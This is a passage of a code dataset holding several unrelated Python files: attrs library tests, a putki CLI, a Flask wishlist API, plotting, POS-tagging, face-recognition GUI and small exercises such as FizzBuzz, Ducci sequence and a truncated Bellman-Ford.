sets\n the default.\n \"\"\"\n a = attr.ib()\n\n @a.default\n def f(self):\n pass\n\n assert Factory(f, True) == a._default\n\n\nclass TestAttribute(object):\n \"\"\"\n Tests for `attr.Attribute`.\n \"\"\"\n def test_deprecated_convert_argument(self):\n \"\"\"\n Using *convert* raises a DeprecationWarning and sets the converter\n field.\n \"\"\"\n def conv(v):\n return v\n\n with pytest.warns(DeprecationWarning) as wi:\n a = Attribute(\n \"a\", True, True, True, True, True, True, convert=conv\n )\n w = wi.pop()\n\n assert conv == a.converter\n assert (\n \"The `convert` argument is deprecated in favor of `converter`. \"\n \"It will be removed after 2019/01.\",\n ) == w.message.args\n assert __file__ == w.filename\n\n def test_deprecated_convert_attribute(self):\n \"\"\"\n If Attribute.convert is accessed, a DeprecationWarning is raised.\n \"\"\"\n def conv(v):\n return v\n\n a = simple_attr(\"a\", converter=conv)\n with pytest.warns(DeprecationWarning) as wi:\n convert = a.convert\n w = wi.pop()\n\n assert conv is convert is a.converter\n assert (\n \"The `convert` attribute is deprecated in favor of `converter`. \"\n \"It will be removed after 2019/01.\",\n ) == w.message.args\n assert __file__ == w.filename\n\n def test_convert_converter(self):\n \"\"\"\n A TypeError is raised if both *convert* and *converter* are passed.\n \"\"\"\n with pytest.raises(RuntimeError) as ei:\n Attribute(\n \"a\", True, True, True, True, True, True,\n convert=lambda v: v, converter=lambda v: v,\n )\n\n assert (\n \"Can't pass both `convert` and `converter`. \"\n \"Please use `converter` only.\",\n ) == ei.value.args\n\n\ndef make_tc():\n class TransformC(object):\n z = attr.ib()\n y = attr.ib()\n x = attr.ib()\n a = 42\n return TransformC\n\n\nclass TestTransformAttrs(object):\n \"\"\"\n Tests for `_transform_attrs`.\n \"\"\"\n def test_no_modifications(self):\n \"\"\"\n Doesn't attach __attrs_attrs__ to the class anymore.\n \"\"\"\n C = make_tc()\n _transform_attrs(C, None, False)\n\n assert None is getattr(C, \"__attrs_attrs__\", None)\n\n def test_normal(self):\n \"\"\"\n Transforms every `_CountingAttr` and leaves others (a) be.\n \"\"\"\n C = make_tc()\n attrs, _, _ = _transform_attrs(C, None, False)\n\n assert [\"z\", \"y\", \"x\"] == [a.name for a in attrs]\n\n def test_empty(self):\n \"\"\"\n No attributes works as expected.\n \"\"\"\n @attr.s\n class C(object):\n pass\n\n assert _Attributes(((), [], {})) == _transform_attrs(C, None, False)\n\n def test_transforms_to_attribute(self):\n \"\"\"\n All `_CountingAttr`s are transformed into `Attribute`s.\n \"\"\"\n C = make_tc()\n attrs, super_attrs, _ = _transform_attrs(C, None, False)\n\n assert [] == super_attrs\n assert 3 == len(attrs)\n assert all(isinstance(a, Attribute) for a in attrs)\n\n def test_conflicting_defaults(self):\n \"\"\"\n Raises `ValueError` if attributes with defaults are followed by\n mandatory attributes.\n \"\"\"\n class C(object):\n x = attr.ib(default=None)\n y = attr.ib()\n\n with pytest.raises(ValueError) as e:\n _transform_attrs(C, None, False)\n assert (\n \"No mandatory attributes allowed after an attribute with a \"\n \"default value or factory. Attribute in question: Attribute\"\n \"(name='y', default=NOTHING, validator=None, repr=True, \"\n \"cmp=True, hash=None, init=True, metadata=mappingproxy({}), \"\n \"type=None, converter=None)\",\n ) == e.value.args\n\n def test_these(self):\n \"\"\"\n If these is passed, use it and ignore body and super classes.\n \"\"\"\n class Base(object):\n z = attr.ib()\n\n class C(Base):\n y = attr.ib()\n\n attrs, super_attrs, _ = _transform_attrs(C, {\"x\": attr.ib()}, False)\n\n assert [] == super_attrs\n assert (\n simple_attr(\"x\"),\n ) == attrs\n\n def test_these_leave_body(self):\n \"\"\"\n If these is passed, no attributes are removed from the body.\n \"\"\"\n @attr.s(init=False, these={\"x\": attr.ib()})\n class C(object):\n x = 5\n\n assert 5 == C().x\n assert \"C(x=5)\" == repr(C())\n\n def test_these_ordered(self):\n \"\"\"\n If these is passed ordered attrs, their order respect instead of the\n counter.\n \"\"\"\n b = attr.ib(default=2)\n a = attr.ib(default=1)\n\n @attr.s(these=ordered_dict([(\"a\", a), (\"b\", b)]))\n class C(object):\n pass\n\n assert \"C(a=1, b=2)\" == repr(C())\n\n def test_multiple_inheritance(self):\n \"\"\"\n Order of attributes doesn't get mixed up by multiple inheritance.\n\n See #285\n \"\"\"\n @attr.s\n class A(object):\n a1 = attr.ib(default=\"a1\")\n a2 = attr.ib(default=\"a2\")\n\n @attr.s\n class B(A):\n b1 = attr.ib(default=\"b1\")\n b2 = attr.ib(default=\"b2\")\n\n @attr.s\n class C(B, A):\n c1 = attr.ib(default=\"c1\")\n c2 = attr.ib(default=\"c2\")\n\n @attr.s\n class D(A):\n d1 = attr.ib(default=\"d1\")\n d2 = attr.ib(default=\"d2\")\n\n @attr.s\n class E(C, D):\n e1 = attr.ib(default=\"e1\")\n e2 = attr.ib(default=\"e2\")\n\n assert (\n \"E(a1='a1', a2='a2', b1='b1', b2='b2', c1='c1', c2='c2', d1='d1', \"\n \"d2='d2', e1='e1', e2='e2')\"\n ) == repr(E())\n\n\nclass TestAttributes(object):\n \"\"\"\n Tests for the `attrs`/`attr.s` class decorator.\n \"\"\"\n @pytest.mark.skipif(not PY2, reason=\"No old-style classes in Py3\")\n def test_catches_old_style(self):\n \"\"\"\n Raises TypeError on old-style classes.\n \"\"\"\n with pytest.raises(TypeError) as e:\n @attr.s\n class C:\n pass\n\n assert (\"attrs only works with new-style classes.\",) == e.value.args\n\n def test_sets_attrs(self):\n \"\"\"\n Sets the `__attrs_attrs__` class attribute with a list of `Attribute`s.\n \"\"\"\n @attr.s\n class C(object):\n x = attr.ib()\n\n assert \"x\" == C.__attrs_attrs__[0].name\n assert all(isinstance(a, Attribute) for a in C.__attrs_attrs__)\n\n def test_empty(self):\n \"\"\"\n No attributes, no problems.\n \"\"\"\n @attr.s\n class C3(object):\n pass\n\n assert \"C3()\" == repr(C3())\n assert C3() == C3()\n\n @given(attr=attrs_st, attr_name=sampled_from(Attribute.__slots__))\n def test_immutable(self, attr, attr_name):\n \"\"\"\n Attribute instances are immutable.\n \"\"\"\n with pytest.raises(AttributeError):\n setattr(attr, attr_name, 1)\n\n @pytest.mark.parametrize(\"method_name\", [\n \"__repr__\",\n \"__eq__\",\n \"__hash__\",\n \"__init__\",\n ])\n def test_adds_all_by_default(self, method_name):\n \"\"\"\n If no further arguments are supplied, all add_XXX functions except\n add_hash are applied. __hash__ is set to None.\n \"\"\"\n # Set the method name to a sentinel and check whether it has been\n # overwritten afterwards.\n sentinel = object()\n\n class C(object):\n x = attr.ib()\n\n setattr(C, method_name, sentinel)\n\n C = attr.s(C)\n meth = getattr(C, method_name)\n\n assert sentinel != meth\n if method_name == \"__hash__\":\n assert meth is None\n\n @pytest.mark.parametrize(\"arg_name, method_name\", [\n (\"repr\", \"__repr__\"),\n (\"cmp\", \"__eq__\"),\n (\"hash\", \"__hash__\"),\n (\"init\", \"__init__\"),\n ])\n def test_respects_add_arguments(self, arg_name, method_name):\n \"\"\"\n If a certain `add_XXX` is `False`, `__XXX__` is not added to the class.\n \"\"\"\n # Set the method name to a sentinel and check whether it has been\n # overwritten afterwards.\n sentinel = object()\n\n am_args = {\n \"repr\": True,\n \"cmp\": True,\n \"hash\": True,\n \"init\": True\n }\n am_args[arg_name] = False\n\n class C(object):\n x = attr.ib()\n\n setattr(C, method_name, sentinel)\n\n C = attr.s(**am_args)(C)\n\n assert sentinel == getattr(C, method_name)\n\n @pytest.mark.skipif(PY2, reason=\"__qualname__ is PY3-only.\")\n @given(slots_outer=booleans(), slots_inner=booleans())\n def test_repr_qualname(self, slots_outer, slots_inner):\n \"\"\"\n On Python 3, the name in repr is the __qualname__.\n \"\"\"\n @attr.s(slots=slots_outer)\n class C(object):\n @attr.s(slots=slots_inner)\n class D(object):\n pass\n\n assert \"C.D()\" == repr(C.D())\n assert \"GC.D()\" == repr(GC.D())\n\n @given(slots_outer=booleans(), slots_inner=booleans())\n def test_repr_fake_qualname(self, slots_outer, slots_inner):\n \"\"\"\n Setting repr_ns overrides a potentially guessed namespace.\n \"\"\"\n @attr.s(slots=slots_outer)\n class C(object):\n @attr.s(repr_ns=\"C\", slots=slots_inner)\n class D(object):\n pass\n assert \"C.D()\" == repr(C.D())\n\n @pytest.mark.skipif(PY2, reason=\"__qualname__ is PY3-only.\")\n @given(slots_outer=booleans(), slots_inner=booleans())\n def test_name_not_overridden(self, slots_outer, slots_inner):\n \"\"\"\n On Python 3, __name__ is different from __qualname__.\n \"\"\"\n @attr.s(slots=slots_outer)\n class C(object):\n @attr.s(slots=slots_inner)\n class D(object):\n pass\n\n assert C.D.__name__ == \"D\"\n assert C.D.__qualname__ == C.__qualname__ + \".D\"\n\n @given(with_validation=booleans())\n def test_post_init(self, with_validation, monkeypatch):\n \"\"\"\n Verify that __attrs_post_init__ gets called if defined.\n \"\"\"\n monkeypatch.setattr(_config, \"_run_validators\", with_validation)\n\n @attr.s\n class C(object):\n x = attr.ib()\n y = attr.ib()\n\n def __attrs_post_init__(self2):\n self2.z = self2.x + self2.y\n\n c = C(x=10, y=20)\n\n assert 30 == getattr(c, 'z', None)\n\n def test_types(self):\n \"\"\"\n Sets the `Attribute.type` attr from type argument.\n \"\"\"\n @attr.s\n class C(object):\n x = attr.ib(type=int)\n y = attr.ib(type=str)\n z = attr.ib()\n\n assert int is fields(C).x.type\n assert str is fields(C).y.type\n assert None is fields(C).z.type\n\n @pytest.mark.parametrize(\"slots\", [True, False])\n def test_clean_class(self, slots):\n \"\"\"\n Attribute definitions do not appear on the class body after @attr.s.\n \"\"\"\n @attr.s(slots=slots)\n class C(object):\n x = attr.ib()\n\n x = getattr(C, \"x\", None)\n\n assert not isinstance(x, _CountingAttr)\n\n def test_factory_sugar(self):\n \"\"\"\n Passing factory=f is syntactic sugar for passing default=Factory(f).\n \"\"\"\n @attr.s\n class C(object):\n x = attr.ib(factory=list)\n\n assert Factory(list) == attr.fields(C).x.default\n\n def test_sugar_factory_mutex(self):\n \"\"\"\n Passing both default and factory raises ValueError.\n \"\"\"\n with pytest.raises(ValueError, match=\"mutually exclusive\"):\n @attr.s\n class C(object):\n x = attr.ib(factory=list, default=Factory(list))\n\n def test_sugar_callable(self):\n \"\"\"\n Factory has to be a callable to prevent people from passing Factory\n into it.\n \"\"\"\n with pytest.raises(ValueError, match=\"must be a callable\"):\n @attr.s\n class C(object):\n x = attr.ib(factory=Factory(list))\n\n\n@attr.s\nclass GC(object):\n @attr.s\n class D(object):\n pass\n\n\nclass TestMakeClass(object):\n \"\"\"\n Tests for `make_class`.\n \"\"\"\n @pytest.mark.parametrize(\"ls\", [\n list,\n tuple\n ])\n def test_simple(self, ls):\n \"\"\"\n Passing a list of strings creates attributes with default args.\n \"\"\"\n C1 = make_class(\"C1\", ls([\"a\", \"b\"]))\n\n @attr.s\n class C2(object):\n a = attr.ib()\n b = attr.ib()\n\n assert C1.__attrs_attrs__ == C2.__attrs_attrs__\n\n def test_dict(self):\n \"\"\"\n Passing a dict of name: _CountingAttr creates an equivalent class.\n \"\"\"\n C1 = make_class(\"C1\", {\n \"a\": attr.ib(default=42),\n \"b\": attr.ib(default=None),\n })\n\n @attr.s\n class C2(object):\n a = attr.ib(default=42)\n b = attr.ib(default=None)\n\n assert C1.__attrs_attrs__ == C2.__attrs_attrs__\n\n def test_attr_args(self):\n \"\"\"\n attributes_arguments are passed to attributes\n \"\"\"\n C = make_class(\"C\", [\"x\"], repr=False)\n\n assert repr(C(1)).startswith(\" 0\n\n for cls_a, raw_a in zip(fields(C), list_of_attrs):\n assert cls_a.metadata != {}\n assert cls_a.metadata == raw_a.metadata\n\n def test_metadata(self):\n \"\"\"\n If metadata that is not None is passed, it is used.\n\n This is necessary for coverage because the previous test is\n hypothesis-based.\n \"\"\"\n md = {}\n a = attr.ib(metadata=md)\n\n assert md is a.metadata\n\n\nclass TestClassBuilder(object):\n \"\"\"\n Tests for `_ClassBuilder`.\n \"\"\"\n def test_repr_str(self):\n \"\"\"\n Trying to add a `__str__` without having a `__repr__` raises a\n ValueError.\n \"\"\"\n with pytest.raises(ValueError) as ei:\n make_class(\"C\", {}, repr=False, str=True)\n\n assert (\n \"__str__ can only be generated if a __repr__ exists.\",\n ) == ei.value.args\n\n def test_repr(self):\n \"\"\"\n repr of builder itself makes sense.\n \"\"\"\n class C(object):\n pass\n\n b = _ClassBuilder(C, None, True, True, False)\n\n assert \"<_ClassBuilder(cls=C)>\" == repr(b)\n\n def test_returns_self(self):\n \"\"\"\n All methods return the builder for chaining.\n \"\"\"\n class C(object):\n x = attr.ib()\n\n b = _ClassBuilder(C, None, True, True, False)\n\n cls = b.add_cmp().add_hash().add_init().add_repr(\"ns\").add_str() \\\n .build_class()\n\n assert \"ns.C(x=1)\" == repr(cls(1))\n\n @pytest.mark.parametrize(\"meth_name\", [\n \"__init__\", \"__hash__\", \"__repr__\", \"__str__\",\n \"__eq__\", \"__ne__\", \"__lt__\", \"__le__\", \"__gt__\", \"__ge__\",\n ])\n def test_attaches_meta_dunders(self, meth_name):\n \"\"\"\n Generated methods have correct __module__, __name__, and __qualname__\n attributes.\n \"\"\"\n @attr.s(hash=True, str=True)\n class C(object):\n def organic(self):\n pass\n\n meth = getattr(C, meth_name)\n\n assert meth_name == meth.__name__\n assert C.organic.__module__ == meth.__module__\n if not PY2:\n organic_prefix = C.organic.__qualname__.rsplit(\".\", 1)[0]\n assert organic_prefix + \".\" + meth_name == meth.__qualname__\n\n def test_handles_missing_meta_on_class(self):\n \"\"\"\n If the class hasn't a __module__ or __qualname__, the method hasn't\n either.\n \"\"\"\n class C(object):\n pass\n\n b = _ClassBuilder(\n C, these=None, slots=False, frozen=False, auto_attribs=False,\n )\n b._cls = {} # no __module__; no __qualname__\n\n def fake_meth(self):\n pass\n\n fake_meth.__module__ = \"42\"\n fake_meth.__qualname__ = \"23\"\n\n rv = b._add_method_dunders(fake_meth)\n\n assert \"42\" == rv.__module__ == fake_meth.__module__\n assert \"23\" == rv.__qualname__ == fake_meth.__qualname__\n\n def test_weakref_setstate(self):\n \"\"\"\n __weakref__ is not set on in setstate because it's not writable in\n slots classes.\n \"\"\"\n @attr.s(slots=True)\n class C(object):\n __weakref__ = attr.ib(\n init=False, hash=False, repr=False, cmp=False\n )\n\n assert C() == copy.deepcopy(C())\n","repo_name":"WebKit/WebKit-http","sub_path":"LayoutTests/imported/w3c/web-platform-tests/tools/third_party/attrs/tests/test_make.py","file_name":"test_make.py","file_ext":"py","file_size_in_byte":32491,"program_lang":"python","lang":"en","doc_type":"code","stars":5020,"dataset":"github-code","pt":"67"} +{"seq_id":"14051838151","text":"\"\"\"Command line interface for pipeline (Finnish: putki) - discovering and executing a specific task description.\"\"\"\nimport logging\nimport pathlib\nimport sys\n\nimport typer\n\nimport putki.api as api\nfrom putki import APP_NAME, DEFAULT_STRUCTURE_NAME, DEFAULT_STRUCTURES_NAME, QUIET, __version__ as APP_VERSION, log\n\napp = typer.Typer(\n add_completion=False,\n context_settings={'help_option_names': ['-h', '--help']},\n no_args_is_help=True,\n)\n\nDocumentRoot = typer.Option(\n '',\n '-d',\n '--document-root',\n help='Root of the document tree to visit. Optional\\n(default: positional tree root value)',\n)\n\nStructureName = typer.Option(\n DEFAULT_STRUCTURE_NAME,\n '-s',\n '--structure',\n help='structure mapping file (default: {DEFAULT_STRUCTURE_NAME})',\n)\n\nTargetName = typer.Option(\n '',\n '-t',\n '--target',\n help='target document key',\n)\n\nFacetName = typer.Option(\n '',\n '-f',\n '--facet',\n help='facet key of target document',\n)\n\nVerbosity = typer.Option(\n False,\n '-v',\n '--verbose',\n help='Verbose output (default is False)',\n)\n\nStrictness = typer.Option(\n False,\n '-s',\n '--strict',\n help='Ouput noisy warnings on console (default is False)',\n)\n\nOutputPath = typer.Option(\n '',\n '-o',\n '--output-path',\n help='Path to output unambiguous content to - like when ejecting a template',\n)\n\nStructuresName = typer.Option(\n DEFAULT_STRUCTURES_NAME,\n # '',\n '--structures',\n help='structures mapping file (default: {DEFAULT_STRUCTURES_NAME})',\n)\n\nComponentFolderName = typer.Option( # TODO: prepare later for additional intermediates\n 'component',\n # '',\n '--component-folder-name',\n help='component folder name (default: component)',\n)\n\n\n@app.callback(invoke_without_command=True)\ndef callback(\n version: bool = typer.Option(\n False,\n '-V',\n '--version',\n help='Display the application version and exit',\n is_eager=True,\n )\n) -> None:\n \"\"\"\n Pipeline (Finnish: putki) - discovering and executing a specific task description.\n \"\"\"\n if version:\n typer.echo(f'{APP_NAME} version {APP_VERSION}')\n raise typer.Exit()\n\n\ndef _verify_call_vector(\n doc_root: str, doc_root_pos: str, verbose: bool, strict: bool\n) -> tuple[int, str, str, dict[str, bool]]:\n \"\"\"DRY\"\"\"\n doc = doc_root.strip()\n if not doc and doc_root_pos:\n doc = doc_root_pos\n if not doc:\n print('Document tree root required', file=sys.stderr)\n return 2, 'Document tree root required', '', {}\n\n doc_root_path = pathlib.Path(doc)\n if doc_root_path.exists():\n if not doc_root_path.is_dir():\n print(f'requested tree root at ({doc}) is not a folder', file=sys.stderr)\n return 2, f'requested tree root at ({doc}) is not a folder', '', {}\n else:\n print(f'requested tree root at ({doc}) does not exist', file=sys.stderr)\n return 2, f'requested tree root at ({doc}) does not exist', '', {}\n\n options = {\n 'quiet': QUIET and not verbose and not strict,\n 'strict': strict,\n 'verbose': verbose,\n }\n if verbose:\n logging.getLogger().setLevel(logging.DEBUG)\n return 0, '', doc, options\n\n\n@app.command('tasks')\ndef verify_tasks( # noqa\n doc_root_pos: str = typer.Argument(''),\n doc_root: str = DocumentRoot,\n structure: str = StructureName,\n target: str = TargetName,\n facet: str = FacetName,\n verbose: bool = Verbosity,\n strict: bool = Strictness,\n) -> int:\n \"\"\"\n Verify the structure definition against the file system.\n \"\"\"\n code, message, doc, options = _verify_call_vector(doc_root, doc_root_pos, verbose, strict)\n if code:\n log.error(message)\n return code\n\n return sys.exit(\n api.verify_tasks(doc_root=doc, structure_name=structure, target_key=target, facet_key=facet, options=options)\n )\n\n\n@app.command('structures')\ndef verify_structures( # noqa\n doc_root_pos: str = typer.Argument(''),\n doc_root: str = DocumentRoot,\n structures: str = StructuresName,\n component: str = ComponentFolderName,\n verbose: bool = Verbosity,\n strict: bool = Strictness,\n) -> int:\n \"\"\"\n Verify the structure definition against the file system.\n \"\"\"\n code, message, doc, options = _verify_call_vector(doc_root, doc_root_pos, verbose, strict)\n if code:\n log.error(message)\n return code\n\n return sys.exit(\n api.verify_structures(doc_root=doc, structures_name=structures, component=component, options=options)\n )\n\n\n@app.command('version')\ndef app_version() -> None:\n \"\"\"\n Display the application version and exit.\n \"\"\"\n callback(True)\n","repo_name":"sthagen/putki","sub_path":"putki/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":4693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20908494817","text":"from sqlalchemy import exc\nfrom flask import current_app, jsonify, request, Blueprint\n\nfrom api import db\nfrom api.lib.decorators import authenticate\nfrom api.errors import bad_request, server_error, not_found\nfrom api.models import Product\nfrom api.schema import ProductSchema\n\nusers = Blueprint('users', __name__, url_prefix='/api/users')\n\n@users.route('/ping')\ndef ping():\n return {\"message\": \"Users Route!\"}\n\n\n@users.route('/wishlist', methods=['GET'])\n@authenticate\ndef get_wishlist(user):\n try:\n wishlist = ProductSchema(many=True).dump(user.wishlist)\n except (exc.IntegrityError, ValueError):\n db.session.rollback()\n return server_error('Something went wrong, please try again.')\n else:\n return jsonify(wishlist)\n\n\n@users.route('/wishlist', methods=['POST'])\n@authenticate\ndef toggle_item_in_wishlist(user):\n product_id = request.args.get('pid', type=int)\n\n try:\n product = Product.find_by_id(product_id)\n\n if product is None:\n return not_found('That product does not exist')\n\n if user.is_in_wishlist(product):\n user.remove_from_wishlist(product)\n else:\n user.add_to_wishlist(product)\n user.save()\n except (exc.IntegrityError, ValueError):\n db.session.rollback()\n return server_error('Something went wrong, please try again.')\n else:\n return jsonify(ProductSchema(many=True).dump(user.wishlist))\n\n","repo_name":"yvchima/youstore-server","sub_path":"api/routes/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37406452974","text":"from matplotlib import pyplot as plt # for plotting\nfrom random import randint # for sorting and creating data pts\nfrom math import atan2 # for computing polar angle\n\n# Returns a list of (x,y) coordinates of length 'num_points',\n# each x and y coordinate is chosen randomly from the range \n# 'min' up to 'max'.\ndef create_points(ct,min=0,max=50):\n return [[randint(min,max),randint(min,max)] for _ in range(ct)]\n\n#print(create_points(5)) #test create_points function with 5 random generated points: [[45, 37], [40, 7], [45, 5], [29, 1], [10, 9]]\n\n# Creates a scatter plot, input is a list of (x,y) coordinates.\n# The second input 'convex_hull' is another list of (x,y) coordinates\n# consisting of those points in 'coords' which make up the convex hull,\n# if not None, the elements of this list will be used to draw the outer\n# boundary (the convex hull surrounding the data points).\ndef scatter_plot(coords,convex_hull=None):\n xs,ys=zip(*coords) # unzip into x and y coord lists\n plt.scatter(xs,ys) # plot the data points\n\n if convex_hull!=None: #If the hull does not equal None, then ...\n # plot the convex hull boundary, extra iteration at\n # the end so that the bounding line wraps around\n for i in range(1,len(convex_hull)+1):\n if i==len(convex_hull): i=0 # wrap\n c0=convex_hull[i-1]\n c1=convex_hull[i]\n plt.plot((c0[0],c1[0]),(c0[1],c1[1]),'r')\n plt.show()\n\nscatter_plot(create_points(10)) #test the functions and display the scatter plot\n\nsomePoints = [[4,5],[20,3],[12,80],[30,180]]\n\nscatter_plot(somePoints) #test the function and display a known list of points on scatter plot","repo_name":"andersolson/Python-Projects","sub_path":"matplot/genRandomPlot.py","file_name":"genRandomPlot.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"38073408958","text":"## this is written to run on an ubuntu VM\nfrom __future__ import division\n#!/usr/bin/env pythons\nimport json\nimport os\nfrom common_helpers import list_blobs, download_blob, upload_blob\nimport nltk\nfrom tqdm import tqdm\n\n# import spacy / nltk pos things\n\ndevKeyPath = os.getenv(\"devKey\")\ndevKey = str(open(devKeyPath, \"r\").read()).strip()\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = os.path.join(os.getenv(\"HOME\"), \"google-creds.json\")\n\nTRANSCRIPT_BUCKET = \"audio_transcript_buckets_1\"\nPOS_BUCKET = \"pos_transcript_bucket\"\nTEMP_TEXT_FILE = \"raw_text.tmp.txt\"\nTEMP_JSON_FILE = \"raw_json.tmp.json\"\n\ndef read_data(fn):\n with open(fn, 'r') as f:\n t = json.load(f)\n return t\n\n\ndef write_to_file(fn, text):\n f = open(fn, \"w\")\n f.writelines(text)\n return\n\n\ndef get_pos_tags(fname, fn):\n pos_outfile = fname + \".pos_tags\"\n f = open(fn, \"r\")\n raw_text = f.readlines()\n pos_tagged = []\n for line in raw_text:\n t = nltk.word_tokenize(line)\n tagged = nltk.pos_tag(t)\n pos_tagged.append(tagged)\n with open(pos_outfile, 'w') as out:\n for item in pos_tagged:\n out.write(\"%s\\n\" % item)\n return (pos_outfile)\n\n\ndef preprocess_json(fn):\n raw_text = read_data(fn)\n full_transcript = []\n for section in raw_text:\n full_transcript.append((section[\"transcript\"] + \".\"))\n with open(TEMP_TEXT_FILE, 'w') as f:\n for item in full_transcript:\n f.write(\"%s\\n\" % item)\n return TEMP_TEXT_FILE\n\n\nif __name__==\"__main__\":\n file_list = list_blobs(TRANSCRIPT_BUCKET)\n for f in tqdm(file_list):\n temp_json_file = download_blob(TRANSCRIPT_BUCKET, f, TEMP_JSON_FILE)\n temp_txt_file = preprocess_json(TEMP_JSON_FILE)\n pos_outfile = get_pos_tags(f, temp_txt_file)\n upload_blob(POS_BUCKET, pos_outfile, pos_outfile)\n os.remove(pos_outfile)\n os.remove(TEMP_TEXT_FILE)\n os.remove(TEMP_JSON_FILE)","repo_name":"csaund/gesture-to-language","sub_path":"data_management_scripts/pos_transcripts.py","file_name":"pos_transcripts.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"27064080860","text":"from tkinter import *\r\nimport captureData\r\nimport dataTraing\r\nimport identifyPerson\r\nimport tkinter.messagebox as tmsg\r\nfrom tkinter import simpledialog\r\n\r\n\r\ndef alert():\r\n value = tmsg.askquestion(\"Alert\", \"Do You want to add new person\")\r\n if value == 'yes':\r\n userName = simpledialog.askstring(\"user name\", \"Enter Your Name\")\r\n print(userName)\r\n captureData.dataCollect(userName)\r\n\r\n\r\nroot = Tk()\r\nroot.title(\"Dynamic Human Recognition\")\r\nroot.geometry(\"1080x640\")\r\nroot.minsize(1080, 640)\r\nroot.maxsize(1080, 640)\r\n\r\nf1 = Frame(root, bg=\"grey\", borderwidth=1, relief=SUNKEN)\r\nf1.pack(fill=BOTH)\r\n\r\nl1 = Label(f1, text=\"Person Identification\", font=\"Helvetica 18 bold\", fg=\"white\", bg=\"grey\")\r\nl1.pack(side=TOP, ipadx=30)\r\n\r\nf2 = Frame(root, bg=\"grey\", borderwidth=1, relief=GROOVE)\r\nf2.pack(side=RIGHT, fill=\"y\", ipadx=50)\r\n\r\nregister = Button(f2, text=\"Register\", font=\"Helvetica 15 bold\", width=10, border=10, command=alert)\r\nregister.pack(pady=50)\r\n\r\ntrain = Button(f2, text=\"Train\", font=\"Helvetica 15 bold\", width=10, border=10, command=dataTraing.dataTrain)\r\ntrain.pack(pady=50)\r\n\r\ndetect = Button(f2, text=\"Identify\", font=\"Helvetica 15 bold\", width=10, border=10,\r\n command=identifyPerson.identification)\r\ndetect.pack(pady=50)\r\n\r\nC = Canvas(root, bg=\"blue\", width=830)\r\n\r\nC.pack(side=LEFT, fill=BOTH)\r\n\r\n# f3 = Frame(root, bg=\"grey\", borderwidth=1, relief=GROOVE)\r\n# f3.pack(side=LEFT, fill='y')\r\n# l3 = Label(f3, text=\"hello\", font=\"Helvetica 50 bold\", fg=\"white\", bg=\"grey\", width=10, height=10)\r\n# l3.grid(row=1, column=0,)\r\n# l3.pack()\r\n\r\nroot.mainloop()\r\n","repo_name":"Nyashacodes/SIH-2020-CK107-ARYAVARTA","sub_path":"CK107_ARYAVARTA-master/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"19914426837","text":"'''\r\ntakes a starting list of integers and a number ‘n’ as input, and returns the nth element of the Ducci sequence\r\n'''\r\ndef ducci_sequence(test_list,n):\r\n temp_list=[]\r\n for i in range(0,len(test_list)):\r\n if i == 3:\r\n temp_list.append(abs(test_list[0]-test_list[3]))\r\n else:\r\n j = abs(test_list[i]-test_list[i+1])\r\n temp_list.append(j)\r\n\r\n if n == 0:\r\n return temp_list\r\n else:\r\n final_list = ducci_sequence(temp_list,n-1)\r\n return final_list\r\n\r\nducci_element=ducci_sequence([7, 60, 861, 3070] , 3)\r\nprint(ducci_element)","repo_name":"aakashsohani/Ducci-Sequence","sub_path":"Ducci_sequence.py","file_name":"Ducci_sequence.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72029409175","text":"# Resolução referente 3 - Funções\n\n\"\"\"\n4 - Fizz Buzz - Se o parâmetro da função for divisível por 3, retorne fizz,\nse o parâmetro da função for divisível por 5, retorne buzz. Se o parâmetro da\nfunção for divisível por 5 e por 3, retorne FizzBuzz, caso contrário, retorne o\nnúmero enviado.\n\"\"\"\nfrom time import sleep\n\n\ndef fizzbuzz(num):\n if num % 3 == 0 and num % 5 == 0:\n return 'FizzBuzz'\n if num % 3 == 0:\n return 'Fizz'\n if num % 5 == 0:\n return 'Buzz'\n return f'{num} não é elegível'\n\n\n\n\nwhile True:\n try:\n n = int(input('Digite um número: '))\n except (ValueError):\n print('Digite um número inteiro')\n else:\n a = fizzbuzz(n)\n print(a)\n resp = ' '\n while resp not in 'NS':\n resp = str(input('Deseja continuar: [S/N] ')).upper().strip()[0]\n if resp == \"N\":\n for i in range(0, 3):\n print('.', end=' ')\n sleep(0.3)\n print('FIM')\n break\n","repo_name":"bpontes93/exCurso120Hrs","sub_path":"exercícios/3 - Funções/ex 4.py","file_name":"ex 4.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9201386100","text":"# 1) 모든 간선이 양수인 경우\n# 2) 음수 간선이 있는 경우\n# 1. 음수 간선 순환은 없는 경우\n# 2. 음수 간선 순환이 있는 경우\n# 벨만 포드 알고리즘 \n# 1. 출발 노드 설정\n# 2. 최단 거리 테이블을 초기화\n# 3. 다음의 과정을 N - 1 번 반복\n# 1. 전체 간선 E개를 하나씩 확인한다.\n# 2. 각 간선을 거쳐 다른 노드로 가는 비용을 계산하여 최단 거리 테이블을 갱신\n# 만약 음수 간선 순환이 발생하는지 체크하고 싶다면 3번의 과정을 한번 더 수행\n# 이때 최단 거리 테이블이 갱신된다면 음수 간선 순환이 존재하는 것\n\nimport sys\ninput = sys.stdin.readline\nINF = int(1e9) \n\ndef bf(start) :\n dist[start] = 0\n\n for i in range(n) :\n for j in range(m) :\n cur = edges[j][0]\n next_node = edges[j][1]\n cost = edges[j][2]\n # 현재 간선을 거쳐서 다른 노드로 이동하는 거리가 더 짧은 경우\n if dist[cur] != INF and dis[next_node] > dist[cur] + cost :\n dist[next_node] = dist[cur] + cost\n # n번째 라운드에서도 값이 갱신된다면 음수 순환이 존재\n if i == n - 1 :\n return True\n return 